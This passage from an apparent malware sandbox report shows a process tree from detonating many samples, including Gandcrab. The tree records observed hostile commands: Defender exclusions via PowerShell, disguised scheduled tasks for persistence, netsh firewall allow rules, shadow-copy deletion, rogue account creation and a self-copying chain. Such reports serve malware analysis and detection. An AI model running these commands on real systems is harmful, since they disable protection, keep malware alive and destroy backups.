        5⤵
        
        PID:5340
    - - C:\Windows\winhlp32.exe
        
        winhlp32.exe -x
        5⤵
        
        PID:5780
  - - C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
      "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe"
      4⤵
      PID:5360
  - - C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe
      "C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe"
      4⤵
      PID:2780
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Common Files\DESIGNER\conhost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9736
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9732
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\LiveKernelReports\Darkest Dungeon setub.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9744
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\en-US\unsecapp.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9760
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Mozilla Maintenance Service\fontdrvhost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9776
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\sLRQwto4vG.bat"
        5⤵
        
        PID:7596
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:7916
  - - C:\Program Files (x86)\BTZ.exe
      "C:\Program Files (x86)\BTZ.exe"
      4⤵
      PID:5772
  - - C:\Program Files (x86)\Cat.exe
      "C:\Program Files (x86)\Cat.exe"
      4⤵
      PID:1736
  - - C:\Program Files (x86)\Client.exe
      "C:\Program Files (x86)\Client.exe"
      4⤵
      PID:5732
    - - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" & exit
        5⤵
        
        PID:10164
      - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe"
        6⤵
        
        PID:8988
    - - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
        5⤵
        
        PID:7328
      - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8512
    - - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
        5⤵
        
        PID:7496
      - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8836
  - - C:\Program Files (x86)\Darkest Dungeon setub.exe
      "C:\Program Files (x86)\Darkest Dungeon setub.exe"
      4⤵
      PID:5136
    - - C:\Users\Admin\AppData\Roaming\svhost.exe
        
        "C:\Users\Admin\AppData\Roaming\svhost.exe"
        5⤵
        
        PID:6800
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svhost.exe" "svhost.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:8504
  - - C:\Program Files (x86)\evil.exe
      "C:\Program Files (x86)\evil.exe"
      4⤵
      PID:5436
    - - C:\Users\Admin\AppData\Local\Temp\evil.exe
        
        "C:\Users\Admin\AppData\Local\Temp\evil.exe"
        5⤵
        
        PID:6980
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\evil.exe" "evil.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:9044
  - - C:\Program Files (x86)\fwclt.exe
      "C:\Program Files (x86)\fwclt.exe"
      4⤵
      PID:5332
  - - C:\Program Files (x86)\Gandcrab5.0.3.exe
      "C:\Program Files (x86)\Gandcrab5.0.3.exe"
      4⤵
      PID:3244
    - - C:\Windows\SysWOW64\wermgr.exe
        
        "C:\Windows\System32\wermgr.exe"
        5⤵
        
        PID:6784
      - C:\Windows\SysWOW64\wbem\wmic.exe
        
        "C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
        6⤵
        
        PID:9284
  - - C:\Program Files (x86)\Happy18.exe
      "C:\Program Files (x86)\Happy18.exe"
      4⤵
      PID:5368
  - - C:\Program Files (x86)\kosomk.exe
      "C:\Program Files (x86)\kosomk.exe"
      4⤵
      PID:5460
    - - C:\Users\Admin\AppData\Roaming\dicsord.exe
        
        "C:\Users\Admin\AppData\Roaming\dicsord.exe"
        5⤵
        
        PID:5536
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\dicsord.exe" "dicsord.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:6096
  - - C:\Program Files (x86)\LightNeuronX0.exe
      "C:\Program Files (x86)\LightNeuronX0.exe"
      4⤵
      PID:3720
  - - C:\Program Files (x86)\malecus.exe
      "C:\Program Files (x86)\malecus.exe"
      4⤵
      PID:2260
  - - C:\Program Files (x86)\see7.exe
      "C:\Program Files (x86)\see7.exe"
      4⤵
      PID:6280
  - - C:\Program Files (x86)\TEST.exe
      "C:\Program Files (x86)\TEST.exe"
      4⤵
      PID:6520
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp439E.tmp.bat""
        5⤵
        
        PID:9840
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\touhou virus.bat" "
      4⤵
      PID:6768
    - - C:\Windows\SysWOW64\net.exe
        
        net user Shanghai /add
        5⤵
        
        PID:7228
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Shanghai /add
        6⤵
        
        PID:7544
    - - C:\Windows\SysWOW64\net.exe
        
        net user Bad Apple /add
        5⤵
        
        PID:6896
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Bad Apple /add
        6⤵
        
        PID:7240
    - - C:\Windows\SysWOW64\net.exe
        
        net user Marisa
        5⤵
        
        PID:8936
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Marisa
        6⤵
        
        PID:10108
    - - C:\Windows\SysWOW64\net.exe
        
        net user Reimu /add
        5⤵
        
        PID:8288
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Reimu /add
        6⤵
        
        PID:8924
    - - C:\Windows\SysWOW64\mountvol.exe
        
        mountvol X:\ /d
        5⤵
        
        PID:7684
  - - C:\Program Files (x86)\vbc.exe
      "C:\Program Files (x86)\vbc.exe"
      4⤵
      PID:6940
    - - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
        
        C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
        5⤵
        
        PID:7160
      - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
        
        C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
        6⤵
        
        PID:5084
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 588
        6⤵
        Program crash
        
        PID:6392
  - - C:\Program Files (x86)\virus.jk.exe
      "C:\Program Files (x86)\virus.jk.exe"
      4⤵
      PID:6272
    - - C:\Program Files (x86)\virus.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.exe"
        5⤵
        
        PID:5152
      - C:\Program Files (x86)\virus.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.exe"
        6⤵
        
        PID:6512
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.exe"
        7⤵
        
        PID:6492
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.exe"
        8⤵
        
        PID:7420
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.exe"
        9⤵
        
        PID:7876
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.exe"
        10⤵
        
        PID:6236
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        11⤵
        
        PID:6272
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        12⤵
        
        PID:7340
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        13⤵
        
        PID:8064
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        14⤵
        
        PID:7432
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        15⤵
        
        PID:8008
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        16⤵
        
        PID:8796
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        17⤵
        
        PID:8432
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        18⤵
        
        PID:8636
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        19⤵
        
        PID:8868
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        20⤵
        
        PID:7956
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        21⤵
        
        PID:9412
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        22⤵
        
        PID:5864
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        23⤵
        
        PID:10204
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        24⤵
        
        PID:8416
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        25⤵
        
        PID:9036
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        26⤵
        
        PID:9200
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        27⤵
        
        PID:8752
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        28⤵
        
        PID:6416
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        29⤵
        
        PID:8168

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1900

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:FESearchUI.AppXbgxsca4vtwz9gsm457zypgjfyczezg85.mca
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2136

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
1⤵
- System Location Discovery: System Language Discovery
PID:1848

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:FESearchUI.AppXbgxsca4vtwz9gsm457zypgjfyczezg85.mca
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3784

C:\Windows\helppane.exe
C:\Windows\helppane.exe -Embedding
1⤵
PID:5740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528881
  2⤵
  PID:6328
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff928f63cb8,0x7ff928f63cc8,0x7ff928f63cd8
    3⤵
    PID:6168
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2052,14044318139339556063,8235841741081617928,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2056 /prefetch:2
    3⤵
    PID:4208
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2052,14044318139339556063,8235841741081617928,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 /prefetch:3
    3⤵
    PID:6812
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2052,14044318139339556063,8235841741081617928,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2748 /prefetch:8
    3⤵
    PID:6632
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2052,14044318139339556063,8235841741081617928,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:1
    3⤵
    PID:5976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2052,14044318139339556063,8235841741081617928,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
    3⤵
    PID:7212
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2052,14044318139339556063,8235841741081617928,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3968 /prefetch:1
    3⤵
    PID:6428
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2052,14044318139339556063,8235841741081617928,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:1
    3⤵
    PID:9192
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2052,14044318139339556063,8235841741081617928,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5304 /prefetch:1
    3⤵
    PID:9424
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528881
  2⤵
  PID:5236
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff928f63cb8,0x7ff928f63cc8,0x7ff928f63cd8
    3⤵
    PID:6380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1980,8232682147044124989,5106693049981918230,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1992 /prefetch:3
    3⤵
    PID:7704

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Mail\firefox.exe'" /f
1⤵
PID:1728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Internet Explorer\unsecapp.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefox" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\firefox.exe'" /rl HIGHEST /f
1⤵
PID:5516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6084

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Mail\firefox.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Internet Explorer\unsecapp.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows NT\TableTextService\en-US\SearchHost.exe'" /f
1⤵
PID:5628

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Program Files\7-Zip\Lang\RuntimeBroker.exe'" /f
1⤵
PID:5416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchHost" /sc ONLOGON /tr "'C:\Program Files\Windows NT\TableTextService\en-US\SearchHost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:1424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:4188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows NT\TableTextService\en-US\SearchHost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5984

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Program Files\7-Zip\Lang\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
PID:6260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\SearchHost.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6392

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\firefox.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6476

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\SearchHost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6560

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefox" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\firefox.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6628

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchHostS" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\SearchHost.exe'" /rl HIGHEST /f
1⤵
PID:6684

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\firefox.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6816

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Windows\InputMethod\fontdrvhost.exe'" /f
1⤵
PID:6872

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Photo Viewer\en-US\RuntimeBroker.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\InputMethod\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
PID:7052

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\en-US\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 7 /tr "'C:\Windows\InputMethod\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5640

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Photo Viewer\en-US\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
PID:5236

C:\Windows\system32\schtasks.exe
